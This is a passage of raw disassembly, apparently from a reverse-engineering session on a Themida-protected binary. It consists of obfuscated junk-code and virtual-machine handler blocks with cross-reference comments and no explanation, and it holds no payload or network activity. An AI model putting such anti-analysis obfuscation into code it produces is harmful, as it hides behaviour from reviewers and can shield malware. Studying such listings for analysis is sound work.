; ---------------------------------------------------------------------------


loc_55C94D:				; CODE XREF: Themida_:00552B8Aj
		push	ecx
		mov	ch, al
		mov	bh, ch
		pop	ecx
		push	2701h
		jmp	loc_5571F7
; ---------------------------------------------------------------------------


loc_55C95D:				; CODE XREF: Themida_:00552BCCj
		or	ecx, 361234EDh
		xor	ecx, 0D13410h
		jmp	loc_555F7D
; ---------------------------------------------------------------------------


loc_55C96E:				; CODE XREF: Themida_:0055F6DFj
		push	eax
		mov	eax, 2110B8Fh
		mov	edi, eax
		pop	eax
		or	esi, edi
		jmp	loc_55EB41
; ---------------------------------------------------------------------------


loc_55C97E:				; CODE XREF: Themida_:0055DBCBj
		push	12C8h
		mov	[esp], ebp
		mov	ebp, 71915340h
		inc	ebp
		push	ebx
		jmp	loc_55D8F7
; ---------------------------------------------------------------------------


loc_55C992:				; CODE XREF: Themida_:0055E263j
		mov	ecx, 7B8719E3h
		jmp	loc_561E0A
; ---------------------------------------------------------------------------


loc_55C99C:				; CODE XREF: Themida_:00554688j
		mov	[esp], ecx
		mov	ecx, 0E501B33h
		jmp	loc_553744
; ---------------------------------------------------------------------------


loc_55C9A9:				; CODE XREF: Themida_:00551CC1j
		inc	al
		jmp	loc_5630CF
; ---------------------------------------------------------------------------


loc_55C9B0:				; CODE XREF: Themida_:0055A490j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_560870
; ---------------------------------------------------------------------------


loc_55C9BC:				; CODE XREF: Themida_:0055D2CFj
		pop	ebx
		jmp	loc_55F741
; ---------------------------------------------------------------------------


loc_55C9C2:				; CODE XREF: Themida_:00557B52j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		add	dword ptr [esp], 18284EECh
		pop	ecx
		push	eax
		mov	eax, 18284EECh
		jmp	loc_5552F6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55C599
; ---------------------------------------------------------------------------


loc_55C9F5:				; CODE XREF: Themida_:00558ECFj
		pop	esp
		mov	[esp], edx
		mov	edx, 4C2A0E14h
		mov	ecx, edx
		pop	edx
		dec	ecx
		xor	ecx, 521E0E3Dh
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2A442CDAh
		push	ebp
		mov	ebp, 1A2E2B9Fh
		xchg	eax, ebp
		neg	eax
		xchg	eax, ebp
		jmp	loc_55ACF1
; ---------------------------------------------------------------------------


loc_55CA28:				; CODE XREF: Themida_:00558141j
		push	ecx
		mov	ch, 96h
		add	dh, ch
		pop	ecx
		push	cx
		mov	ch, 0EDh
		add	dh, ch
		jmp	loc_550DEA
; ---------------------------------------------------------------------------


loc_55CA39:				; CODE XREF: Themida_:00552AE4j
		shr	eax, 1
		xor	eax, 3EC7B7E5h
		push	edx
		mov	edx, 72B34DBAh
		xor	edx, 54DE25DCh
		jmp	loc_5513FC
; ---------------------------------------------------------------------------


loc_55CA51:				; CODE XREF: Themida_:005585FEj
		mov	edi, [esp]
		add	esp, 4
		add	edx, ecx
		jmp	loc_562CB1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 26AB561Bh
		shr	ebx, 5
		or	ebx, 1C090C8Ch
		dec	ebx
		push	esi
		jmp	loc_564427
; ---------------------------------------------------------------------------


loc_55CA88:				; CODE XREF: Themida_:00558378j
		pop	ebx
		add	ebp, 0DCB6A227h
		add	eax, ebp
		jmp	loc_56191E
; ---------------------------------------------------------------------------


loc_55CA96:				; CODE XREF: Themida_:00564A4Bj
		sub	bh, 75h
		not	bh
		shr	bh, 7
		neg	bh
		and	bh, 7Bh
		add	bh, 45h
		add	bh, 0A0h
		mov	ch, bh
		pop	ebx
		sub	bh, ch
		pop	cx
		add	al, 0EBh
		add	al, 0A1h
		jmp	loc_558691
; ---------------------------------------------------------------------------


loc_55CAB9:				; CODE XREF: Themida_:0055F3C1j
		mov	eax, esp
		jmp	loc_554441
; ---------------------------------------------------------------------------


loc_55CAC0:				; CODE XREF: Themida_:0055130Cj
		push	ebp
		jmp	loc_55680F
; ---------------------------------------------------------------------------


loc_55CAC6:				; CODE XREF: Themida_:005588AAj
		xor	eax, ebx
		jmp	loc_556720
; ---------------------------------------------------------------------------


loc_55CACD:				; CODE XREF: Themida_:00559457j
		pop	ebx
		sub	ecx, esi
		pop	esi
		jmp	loc_562B5E
; ---------------------------------------------------------------------------


loc_55CAD6:				; CODE XREF: Themida_:0055AC95j
		mov	ebp, 15DE661Bh
		add	esi, ebp
		pop	ebp
		jmp	loc_55538E
; ---------------------------------------------------------------------------


loc_55CAE3:				; CODE XREF: Themida_:00556C78j
		xor	edi, [esp]
		jmp	loc_5607CF
; ---------------------------------------------------------------------------


loc_55CAEB:				; CODE XREF: Themida_:005635C0j
		pop	ecx
		or	dl, bl
		pop	ebx
		xor	dl, 0F7h
		sub	al, 21h
		sub	al, dl
		jmp	loc_560BBE
; ---------------------------------------------------------------------------


loc_55CAFB:				; CODE XREF: Themida_:00552AB8j
		movzx	cx, ah
		push	65B5h
		jmp	loc_563C85
; ---------------------------------------------------------------------------


loc_55CB09:				; CODE XREF: Themida_:0055E077j
		add	eax, edi
		jmp	loc_561A83
; ---------------------------------------------------------------------------


loc_55CB10:				; CODE XREF: Themida_:00560CAFj
		mov	edx, 4
		sub	esi, 5CF034E8h
		add	esi, 407432E7h
		add	esi, edx
		jmp	loc_555E34
; ---------------------------------------------------------------------------


loc_55CB28:				; CODE XREF: Themida_:005576C1j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_56257D
; ---------------------------------------------------------------------------


loc_55CB36:				; CODE XREF: Themida_:0055B541j
		push	edx
		add	dword ptr [esp], 1BF4109Ch
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5612CC
; ---------------------------------------------------------------------------


loc_55CB47:				; CODE XREF: Themida_:00555120j
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	228Fh
		mov	[esp], esi
		mov	esi, 4BCC0D19h
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_554111
; ---------------------------------------------------------------------------


loc_55CB75:				; CODE XREF: Themida_:00555180j
		push	5730h
		mov	[esp], edi
		jmp	loc_55D370
; ---------------------------------------------------------------------------


loc_55CB82:				; CODE XREF: Themida_:0056062Dj
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55E765
; ---------------------------------------------------------------------------


loc_55CB93:				; CODE XREF: Themida_:005649F8j
		mov	[esp], ecx
		mov	ecx, 5D6D3A21h
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_563FC1
; ---------------------------------------------------------------------------


loc_55CBB0:				; CODE XREF: Themida_:005559CDj
		neg	eax
		dec	eax
		shr	eax, 2
		sub	eax, 46CA6585h
		xor	esi, eax
		jmp	loc_5538B0
; ---------------------------------------------------------------------------


loc_55CBC2:				; CODE XREF: Themida_:00550C05j
		mov	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_562BE5
; ---------------------------------------------------------------------------


loc_55CBD9:				; CODE XREF: Themida_:00564708j
		add	eax, ebx
		pop	ebx
		jmp	loc_55F8B0
; ---------------------------------------------------------------------------


loc_55CBE1:				; CODE XREF: Themida_:00557669j
		dec	ah
		jmp	loc_553812
; ---------------------------------------------------------------------------


loc_55CBE8:				; CODE XREF: Themida_:00562BC7j
		sub	ebx, 2C6D69A8h
		sub	ebx, eax
		add	ebx, 2C6D69A8h
		jmp	loc_55945C
; ---------------------------------------------------------------------------


loc_55CBFB:				; CODE XREF: Themida_:005550C1j
		sub	eax, 7B0A5700h
		mov	[eax], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55A770
; ---------------------------------------------------------------------------


loc_55CC0D:				; CODE XREF: Themida_:00564B49j
		sub	[esp], ebx
		pop	ebx
		shr	ebx, 7
		push	ecx
		mov	ecx, 5293470Bh
		jmp	loc_560CBB
; ---------------------------------------------------------------------------


loc_55CC1F:				; CODE XREF: Themida_:005524E5j
		pop	edi
		sub	eax, ebx
		pop	ebx
		add	eax, 61D37602h
		jmp	loc_55E1B2
; ---------------------------------------------------------------------------


loc_55CC2D:				; CODE XREF: Themida_:0055BE2Dj
		sub	ebp, 0B067EBD2h
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5620F0
; ---------------------------------------------------------------------------


loc_55CC44:				; CODE XREF: Themida_:005579C9j
		or	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55CC4E:				; CODE XREF: Themida_:0055BBA0j
		pop	ebp
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 4A629F5h
		and	edi, 5A002992h
		jmp	loc_554A33
; ---------------------------------------------------------------------------


loc_55CC69:				; CODE XREF: Themida_:00555BC4j
		add	dword ptr [esp+4], 1AD73CF5h
		jmp	loc_56056F
; ---------------------------------------------------------------------------


loc_55CC76:				; CODE XREF: Themida_:0055A5A3j
		pop	esp
		push	edx
		mov	edx, 3097D86h
		or	edx, 598A4A1Fh
		push	ecx
		mov	ecx, 3F756DE5h
		jmp	loc_55C4E5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55CC9D:				; CODE XREF: Themida_:00554F59j
		sub	al, 48h
		sub	al, 12h
		pop	cx
		push	dx
		jmp	loc_5617B8
; ---------------------------------------------------------------------------


loc_55CCAA:				; CODE XREF: Themida_:005646EEj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6280587Ah
		mov	edx, 0D499016Ch
		add	edx, eax
		pop	eax
		and	edx, 40E3534Ch
		push	3B26h
		mov	[esp], ebp
		mov	ebp, 2D357DD5h
		xor	edx, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555AC9
; ---------------------------------------------------------------------------


loc_55CCF5:				; CODE XREF: Themida_:00558C93j
		mov	esi, 2
		push	7F0Eh
		mov	[esp], esi
		pop	ebx
		pop	esi
		jmp	loc_5518A8
; ---------------------------------------------------------------------------


loc_55CD09:				; CODE XREF: Themida_:0055F8E9j
		xor	eax, ebx
		push	6E68h
		mov	[esp], ecx
		jmp	loc_563FCC
; ---------------------------------------------------------------------------


loc_55CD18:				; CODE XREF: Themida_:005658FCj
		add	al, 0AFh
		add	al, 2
		jmp	loc_550E2E
; ---------------------------------------------------------------------------


loc_55CD21:				; CODE XREF: Themida_:005544ABj
		sub	dh, 82h
		sub	al, dh
		pop	edx
		sub	al, bl
		add	al, 9Ch
		pop	ebx
		jmp	loc_56185B
; ---------------------------------------------------------------------------


loc_55CD31:				; CODE XREF: Themida_:0055AC01j
		xor	ch, 0DAh
		jmp	loc_56161D
; ---------------------------------------------------------------------------


loc_55CD39:				; CODE XREF: Themida_:0055DF2Cj
		xchg	eax, ecx
		push	47D9h
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_562B80
; ---------------------------------------------------------------------------


loc_55CD53:				; CODE XREF: Themida_:0055E084j
		pop	edi
		mov	esi, edx
		pop	edx
		push	esi
		pop	eax
		pop	esi
		pop	ebp
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55CD60:				; CODE XREF: Themida_:00552544j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55CD65:				; CODE XREF: Themida_:0055A237j
		pop	edx
		jmp	loc_5642DC
; ---------------------------------------------------------------------------


loc_55CD6B:				; CODE XREF: Themida_:00564A84j
		pop	ecx
		sub	ax, 640Ah
		sub	ax, dx
		add	ax, 640Ah
		pop	edx
		push	small 3E3Ah
		jmp	loc_555975
; ---------------------------------------------------------------------------


loc_55CD81:				; CODE XREF: Themida_:0055A603j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5638D4
; ---------------------------------------------------------------------------


loc_55CD91:				; CODE XREF: Themida_:00557CF1j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 6E1F407Bh
		and	eax, 48D5304Bh
		shl	eax, 5
		jmp	loc_560A90
; ---------------------------------------------------------------------------


loc_55CDD2:				; CODE XREF: Themida_:0056432Aj
		xchg	ebx, [esp]
		jmp	loc_5522C7
; ---------------------------------------------------------------------------


loc_55CDDA:				; CODE XREF: Themida_:0055842Cj
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5580CB
; ---------------------------------------------------------------------------


loc_55CDF2:				; CODE XREF: Themida_:0055AEEDj
		push	ebx
		mov	bl, 77h
		or	bl, 0B5h
		or	bl, 0DFh
		jmp	loc_551F16
; ---------------------------------------------------------------------------


loc_55CE00:				; CODE XREF: Themida_:00555D96j
		neg	eax
		sub	eax, 3861E361h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 19E47C63h
		and	esi, ecx
		jmp	loc_55CE66
; ---------------------------------------------------------------------------


loc_55CE1C:				; CODE XREF: Themida_:0055F117j
		sub	ecx, 7A963F0h
		add	ecx, ebx
		add	ecx, 7A963F0h
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55AD62
; ---------------------------------------------------------------------------


loc_55CE3C:				; CODE XREF: Themida_:00564251j
		push	edi
		mov	edi, esp
		jmp	loc_5533EC
; ---------------------------------------------------------------------------


loc_55CE44:				; CODE XREF: Themida_:0055584Dj
		sub	edi, edx
		pop	edx
		add	edi, 1
		shr	edi, 4
		xor	edi, 0E1F34B5Eh
		sub	esi, edi
		pop	edi
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_553C4C
; ---------------------------------------------------------------------------


loc_55CE66:				; CODE XREF: Themida_:0055CE17j
		pop	ecx
		shr	esi, 6
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_556FD5
; ---------------------------------------------------------------------------


loc_55CE72:				; CODE XREF: Themida_:0055B773j
		pop	ebp
		push	ebp
		mov	ebp, 1AEF1AD0h
		sub	eax, ebp
		pop	ebp
		add	eax, 794D11C7h
		add	eax, ebx
		push	edi
		push	ebp
		mov	ebp, 69E00293h
		mov	edi, ebp
		pop	ebp
		jmp	loc_561D82
; ---------------------------------------------------------------------------


loc_55CE92:				; CODE XREF: Themida_:00555BECj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_560D21
; ---------------------------------------------------------------------------


loc_55CEBA:				; CODE XREF: Themida_:00553E22j
		dec	dl
		xor	dl, 79h
		add	bl, 0F2h
		add	bl, dl
		sub	bl, 0F2h
		pop	edx
		jmp	loc_55258E
; ---------------------------------------------------------------------------


loc_55CECD:				; CODE XREF: Themida_:00556760j
		xor	edi, ebx
		mov	ebx, [esp]
		jmp	loc_554F07
; ---------------------------------------------------------------------------


loc_55CED7:				; CODE XREF: Themida_:00563345j
		mov	dh, 0ABh
		jmp	loc_5644F8
; ---------------------------------------------------------------------------


loc_55CEDE:				; CODE XREF: Themida_:00560DA0j
		pop	eax
		sub	edx, eax
		jmp	loc_55913D
; ---------------------------------------------------------------------------


loc_55CEE6:				; CODE XREF: Themida_:0055C364j
		and	edi, 18BD3362h
		inc	edi
		push	ecx
		mov	ecx, 736C320Ch
		inc	ecx
		add	ecx, 4AA07CF5h
		xor	ecx, 2F4C4FC4h
		jmp	loc_55E6CB
; ---------------------------------------------------------------------------


loc_55CF05:				; CODE XREF: Themida_:0055C0EFj
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ebp
		push	58D026Ch
		pop	ebp
		push	ecx
		mov	ecx, 58D0268h
		xor	ebp, ecx
		pop	ecx
		push	ebp
		pop	eax
		pop	ebp
		add	edx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55D722
; ---------------------------------------------------------------------------


loc_55CF4E:				; CODE XREF: Themida_:005643F1j
		xor	esi, 5B2C0D52h
		sub	esi, 0E810714Eh
		jmp	loc_561CB7
; ---------------------------------------------------------------------------


loc_55CF5F:				; CODE XREF: Themida_:0055EEA8j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2B33h
		mov	[esp], edx
		push	ebx
		push	72C4h
		mov	[esp], eax
		jmp	loc_560730
; ---------------------------------------------------------------------------


loc_55CF80:				; CODE XREF: Themida_:00559DF4j
		mov	edi, 2DF81F6Ch
		sub	[esp+8], edi
		pop	edi
		jmp	loc_55A540
; ---------------------------------------------------------------------------


loc_55CF8F:				; CODE XREF: Themida_:005569F9j
		add	dword ptr [esp], 5FB12F9Ch
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_551B70
; ---------------------------------------------------------------------------


loc_55CFA1:				; CODE XREF: Themida_:0055DEE7j
		mov	[esp], eax
		push	edi
		jmp	loc_561B2C
; ---------------------------------------------------------------------------


loc_55CFAA:				; CODE XREF: Themida_:00556142j
		push	eax
		add	dword ptr [esp], 3CC51C42h
		jmp	loc_5596DD
; ---------------------------------------------------------------------------


loc_55CFB7:				; CODE XREF: Themida_:0056493Dj
		mov	edi, 530928E9h
		shr	edi, 5
		or	edi, 33136363h
		xor	edi, 4C3B5CECh
		mov	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 1D7705AAh
		xor	ebx, 62D73225h
		push	ebx
		pop	esi
		jmp	loc_56526B
; ---------------------------------------------------------------------------


loc_55CFE1:				; CODE XREF: Themida_:005649C0j
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		inc	ebp
		add	ebp, 205060B3h
		jmp	loc_559F23
; ---------------------------------------------------------------------------


loc_55CFF3:				; CODE XREF: Themida_:0055179Bj
		xor	edx, [esp]
		jmp	loc_55FB94
; ---------------------------------------------------------------------------


loc_55CFFB:				; CODE XREF: Themida_:0055633Dj
		add	eax, ecx
		pop	ecx
		pop	edx
		xor	edi, eax
		pop	eax
		push	esi
		mov	esi, 6B3A4C94h
		sub	ecx, esi
		pop	esi
		add	ecx, edi
		add	ecx, 6B3A4C94h
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_563E45
; ---------------------------------------------------------------------------


loc_55D022:				; CODE XREF: Themida_:00562EBDj
		push	edx
		mov	edx, esp
		jmp	loc_551EC5
; ---------------------------------------------------------------------------


loc_55D02A:				; CODE XREF: Themida_:0055F624j
		xor	ebx, ebp
		jmp	loc_55A39E
; ---------------------------------------------------------------------------


loc_55D031:				; CODE XREF: Themida_:0055DE27j
		sub	bl, 0D8h
		add	bl, dl
		add	bl, 0D8h
		pop	edx
		jmp	loc_554F38
; ---------------------------------------------------------------------------


loc_55D03F:				; CODE XREF: Themida_:00560311j
		push	689607CDh
		pop	esi
		not	esi
		not	esi
		jmp	loc_55248E
; ---------------------------------------------------------------------------


loc_55D04E:				; CODE XREF: Themida_:00565862j
		mov	esp, [esp]
		jmp	loc_562868
; ---------------------------------------------------------------------------


loc_55D056:				; CODE XREF: Themida_:00563609j
		sub	ebp, ebx
		sub	ebp, 21C92F8Fh
		jmp	loc_55999C
; ---------------------------------------------------------------------------


loc_55D063:				; CODE XREF: Themida_:00556C34j
		mov	al, 8Bh
		dec	al
		or	al, 0C8h
		not	al
		push	ebx
		mov	bh, 0D5h
		add	al, bh
		pop	ebx
		add	cl, 4Ch
		sub	cl, al
		jmp	loc_55C733
; ---------------------------------------------------------------------------


loc_55D07B:				; CODE XREF: Themida_:00555A7Bj
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556C39
; ---------------------------------------------------------------------------


loc_55D08F:				; CODE XREF: Themida_:0055D6C8j
		push	ebx
		push	3C6C7325h
		pop	ebx
		dec	ebx
		dec	ebx
		push	edi
		mov	edi, 43754FD0h
		dec	edi
		shl	edi, 6
		add	edi, 5B5D9083h
		xor	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		xor	ecx, edx
		pop	edx
		rep movsd
		add	esp, [edx+38h]
		push	2171h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 12796797h
		push	ebp
		push	59CA4D51h
		jmp	loc_56110E
; ---------------------------------------------------------------------------


loc_55D0E7:				; CODE XREF: Themida_:00558C0Dj
		pop	ebp
		jmp	loc_55ECF8
; ---------------------------------------------------------------------------


loc_55D0ED:				; CODE XREF: Themida_:00565314j
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_565986
; ---------------------------------------------------------------------------


loc_55D0F6:				; CODE XREF: Themida_:00564454j
		pop	ecx
		add	ebx, 0ECC7020Bh
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_55839F
; ---------------------------------------------------------------------------


loc_55D107:				; CODE XREF: Themida_:0055FF9Ej
		xor	ecx, 47966AB2h
		jmp	loc_559F72
; ---------------------------------------------------------------------------


loc_55D112:				; CODE XREF: Themida_:00561DBFj
		add	esp, 4
		push	33B8h
		mov	[esp], ebx
		push	1A3Dh
		mov	[esp], ebp
		mov	ebp, 27515BF9h
		mov	ebx, ebp
		pop	ebp
		sub	esi, 143D37ADh
		sub	esi, 5C9E1B2Ah
		jmp	loc_561B86
; ---------------------------------------------------------------------------


loc_55D141:				; CODE XREF: Themida_:0055138Dj
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5530CF
		push	2854h
		mov	[esp], eax
		mov	eax, 1Ch
		push	esi
		mov	esi, 2A862F2Ch
		shl	esi, 7
		push	66EBh
		mov	[esp], eax
		mov	eax, 0D93A501Ch
		sub	esi, eax
		jmp	loc_561DAA
; ---------------------------------------------------------------------------


loc_55D177:				; CODE XREF: Themida_:0055B766j
		mov	[esp], ebx
		jmp	loc_552CC9
; ---------------------------------------------------------------------------


loc_55D17F:				; CODE XREF: Themida_:005601C6j
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5573E3
; ---------------------------------------------------------------------------


loc_55D192:				; CODE XREF: Themida_:00565A07j
		sub	bl, 65h
		add	bl, ch
		push	ecx
		jmp	loc_55DF78
; ---------------------------------------------------------------------------
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_55614F
; ---------------------------------------------------------------------------


loc_55D1CF:				; CODE XREF: Themida_:00563ED1j
		pop	edx
		xchg	edi, [esp]
		jmp	loc_55DC13
; ---------------------------------------------------------------------------


loc_55D1D8:				; CODE XREF: Themida_:00558D52j
		mov	ecx, ebp
		pop	ebp
		not	ecx
		jmp	loc_564FD3
; ---------------------------------------------------------------------------


loc_55D1E2:				; CODE XREF: Themida_:00553A4Bj
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55D1E7:				; CODE XREF: Themida_:005636E9j
		mov	dl, 3Fh
		push	edx
		mov	dh, 0A3h
		add	dh, 8Dh
		jmp	loc_55E7B8
; ---------------------------------------------------------------------------


loc_55D1F4:				; CODE XREF: Themida_:005628A6j
		push	edi
		push	646Ch
		mov	[esp], edi
		jmp	loc_55F663
; ---------------------------------------------------------------------------


loc_55D202:				; CODE XREF: Themida_:005527FEj
		inc	esi
		push	edi
		jmp	loc_55F992
; ---------------------------------------------------------------------------


loc_55D209:				; CODE XREF: Themida_:00550DBEj
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	ah, 0BBh
		push	edx
		mov	dl, 12h
		sub	ah, dl
		pop	edx
		push	ecx
		mov	ch, ah
		mov	bl, ch
		pop	ecx
		pop	eax
		push	edx
		mov	dh, 0D6h
		sub	bl, dh
		pop	edx
		shr	bl, 8
		or	bl, 8Dh
		add	bl, 0DCh
		add	al, 0ADh
		add	al, bl
		jmp	loc_563061
; ---------------------------------------------------------------------------


loc_55D235:				; CODE XREF: Themida_:005564D9j
		push	eax
		jmp	loc_5598F2
; ---------------------------------------------------------------------------


loc_55D23B:				; CODE XREF: Themida_:005539ACj
		mov	[esp], ecx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55D243:				; CODE XREF: Themida_:00555B8Bj
		mov	esp, [esp]
		push	532h
		jmp	loc_55F3C6
; ---------------------------------------------------------------------------


loc_55D250:				; CODE XREF: Themida_:00563D9Fj
		mov	[esp], bx
		mov	bh, 65h
		sub	al, bh
		pop	bx
		sub	al, dl
		jmp	loc_5608D3
; ---------------------------------------------------------------------------


loc_55D261:				; CODE XREF: Themida_:0055478Aj
		and	esi, eax
		jmp	loc_563D2B
; ---------------------------------------------------------------------------


loc_55D268:				; CODE XREF: Themida_:00564ADCj
		push	edx
		jmp	loc_55345E
; ---------------------------------------------------------------------------


loc_55D26E:				; CODE XREF: Themida_:0055F65Ej
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 31865F0Ah
		push	esi
		jmp	loc_564F8F
; ---------------------------------------------------------------------------


loc_55D27F:				; CODE XREF: Themida_:00554E62j
		pop	edi
		jmp	loc_5569E2
; ---------------------------------------------------------------------------


loc_55D285:				; CODE XREF: Themida_:00562837j
		push	edi
		mov	edi, 51EA17DEh
		jmp	loc_552FB7
; ---------------------------------------------------------------------------


loc_55D290:				; CODE XREF: Themida_:005547A5j
		add	ecx, 4
		push	135Fh
		jmp	loc_554C01
; ---------------------------------------------------------------------------


loc_55D29D:				; CODE XREF: Themida_:00561138j
		pop	esi
		xor	ebp, [esp]
		jmp	loc_557D20
; ---------------------------------------------------------------------------


loc_55D2A6:				; CODE XREF: Themida_:0055C870j
		pop	edx
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_554E2D
; ---------------------------------------------------------------------------


loc_55D2B5:				; CODE XREF: Themida_:0055DC0Ej
		mov	ebp, 63AA0F12h
		shr	ebp, 3
		neg	ebp
		shl	ebp, 6
		jmp	loc_551BAB
; ---------------------------------------------------------------------------


loc_55D2C7:				; CODE XREF: Themida_:00555195j
		xor	ebx, 2C256FE8h
		add	ebp, ebx
		jmp	loc_55C9BC
; ---------------------------------------------------------------------------


loc_55D2D4:				; CODE XREF: Themida_:0055F37Aj
		mov	cx, [esp]
		jmp	loc_55E831
; ---------------------------------------------------------------------------


loc_55D2DD:				; CODE XREF: Themida_:005612C7j
		dec	ebx
		add	ebx, 1
		push	esi
		mov	esi, 1FE92565h
		not	esi
		or	esi, 19506573h
		shl	esi, 1
		dec	esi
		xor	esi, 255238E9h
		xor	esi, 0F316CE0Fh
		sub	ebx, 13C60B02h
		sub	ebx, esi
		add	ebx, 13C60B02h
		pop	esi
		neg	ebx
		push	eax
		mov	eax, 1D8E2E21h
		add	ebx, eax
		jmp	loc_55EFF0
; ---------------------------------------------------------------------------


loc_55D31F:				; CODE XREF: Themida_:005625CEj
		push	7B909ECh
		pop	eax
		not	eax
		and	eax, 2D33737Eh
		jmp	loc_559F96
; ---------------------------------------------------------------------------


loc_55D331:				; CODE XREF: Themida_:00552241j
		push	esi
		mov	esi, esp
		jmp	loc_55318E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 52674603h
		push	2E4Bh
		mov	[esp], edx
		jmp	loc_550BAD
; ---------------------------------------------------------------------------


loc_55D35B:				; CODE XREF: Themida_:0055C097j
		xchg	esi, [esp]
		jmp	loc_55C5CF
; ---------------------------------------------------------------------------


loc_55D363:				; CODE XREF: Themida_:00559C38j
		shr	bl, 5
		push	4F7h
		jmp	loc_561D12
; ---------------------------------------------------------------------------


loc_55D370:				; CODE XREF: Themida_:0055CB7Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, 4
